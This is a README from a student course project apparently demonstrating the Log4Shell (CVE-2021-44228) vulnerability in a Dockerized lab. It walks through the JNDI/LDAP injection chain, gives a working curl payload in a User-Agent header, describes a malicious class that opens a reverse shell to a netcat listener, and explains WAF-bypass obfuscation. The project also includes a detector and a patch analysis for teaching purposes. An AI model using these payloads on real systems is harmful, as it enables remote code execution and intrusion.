Skip to content

ConnorBrug/CS4277Project

Repository files navigation

Log4Shell (CVE-2021-44228) Exploit Demo

CS 4277 Final Project - Connor Brugger, Kaleb Tafesse, Daniel Han

Overview

Dockerized setup that reproduces the Log4Shell vulnerability and demonstrates RCE through JNDI injection. Everything runs with docker compose up.

How it works

Exploit Script                     Attacker Listener
(host machine)                     (Container 4)
    |                              nc -lv -p 9999
    | HTTP request with                 ^
    | ${jndi:ldap://...}               | reverse shell
    v                                   |
Victim App           LDAP query    Attacker LDAP
(Container 1)    ------------->    (Container 2)
Java 8 + Log4j      <-----------  marshalsec:1389
2.14.1 :8080       "load class
    |               from HTTP"
    | HTTP GET
    v
Attacker HTTP
(Container 3)
Exploit.class
:8888
  1. We send a request to the victim with ${jndi:ldap://attacker-ldap:1389/Exploit} in a logged field (User-Agent, search box, etc)
  2. Log4j 2.14.1 sees the ${jndi:...} in the log message and does a JNDI lookup
  3. Victim's JVM connects to our LDAP server
  4. LDAP server (marshalsec) tells it to fetch Exploit.class from our HTTP server
  5. Victim loads the class, static initializer runs automatically
  6. RCE - proof file created + reverse shell opened

Running it

Need Docker and Docker Compose on a Linux VM.

Start everything

cd CS4277Project
sudo docker compose up --build -d

First build takes about a minute (maven downloads).

Run the exploit

cd exploit
chmod +x run_exploit.sh
./run_exploit.sh

or with python:

python3 exploit.py

or just manually:

curl -H 'User-Agent: ${jndi:ldap://attacker-ldap:1389/Exploit}' http://localhost:8080/

Verify RCE

# proof file - if this exists, code execution worked
sudo docker exec log4j-victim cat /tmp/pwned.txt

Reverse shell

The reverse shell connects from the victim to the listener container. It doesnt automatically drop you into a terminal - you have to attach to the listener:

sudo docker attach log4j-listener

Hit Enter once attached. You can run commands on the victim (whoami, hostname, ls /, etc). To detach without killing the shell press Ctrl+P then Ctrl+Q.

If the shell didnt connect (timing issue - exploit fires before listener is ready), just re-run the curl command and attach again. The proof file confirms RCE either way.

Check victim logs

sudo docker logs log4j-victim

Shows the log4j messages with the JNDI payloads from the victim side.

Run the payload detector

cd detection
python3 log4shell_detector.py sample_attack.log

Flags Log4Shell payloads in log files, including obfuscated ones. You can also point it at the actual victim logs:

sudo docker logs log4j-victim > /tmp/victim.log 2>&1
python3 log4shell_detector.py /tmp/victim.log

Clean up

sudo docker compose down

File structure

log4j-exploit/
  docker-compose.yml
  victim-app/
    Dockerfile
    pom.xml                    # log4j 2.14.1 dependency
    src/.../VulnerableApp.java # HTTP server that logs user input
    src/.../log4j2.xml
  attacker-ldap/
    Dockerfile                 # marshalsec LDAP server
  attacker-http/
    Dockerfile
    Exploit.java               # malicious class (RCE payload)
  attacker-listener/
    Dockerfile                 # netcat listener for reverse shell
  exploit/
    run_exploit.sh
    exploit.py
    obfuscated_payloads.txt    # WAF bypass variants
  detection/
    log4shell_detector.py      # detects obfuscated payloads in logs
    sample_attack.log
  report/
    class_loading_chain.md
    patch_analysis.md

Obfuscated payloads

See exploit/obfuscated_payloads.txt. These all do the same thing as the basic payload but use log4j's recursive ${...} parsing to break up keywords so WAFs cant match them. For example ${${lower:j}ndi:...} resolves ${lower:j} to "j" first, then the whole thing becomes ${jndi:...}.

Troubleshooting

victim wont start - check docker logs log4j-victim. Maven needs internet for the first build to download dependencies.

exploit doesnt trigger - make sure youre on Java 8. Check with docker exec log4j-victim java -version. The Dockerfile sets trustURLCodebase=true explicitly.

reverse shell wont connect - timing issue, listener wasnt ready when the exploit fired. Run the curl command again and re-attach. The proof file (/tmp/pwned.txt) still shows RCE worked.

maven build fails - needs internet access for the first build. Make sure your VM has network access.

Tools

  • marshalsec (Moritz Bechler) - LDAP/JNDI reference server
  • Apache Log4j 2.14.1 - vulnerable version

Tool / LLM use

Claude (Anthropic) helped with debugging Docker networking between containers, understanding how marshalsec's LDAP referral response format works, and writing the patch analysis sections (we provided the source diffs and it helped explain what each change did). It also helped clean up the report writeups. All Docker configuration, exploit code, vulnerable app code, and the detection tool were written by us.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors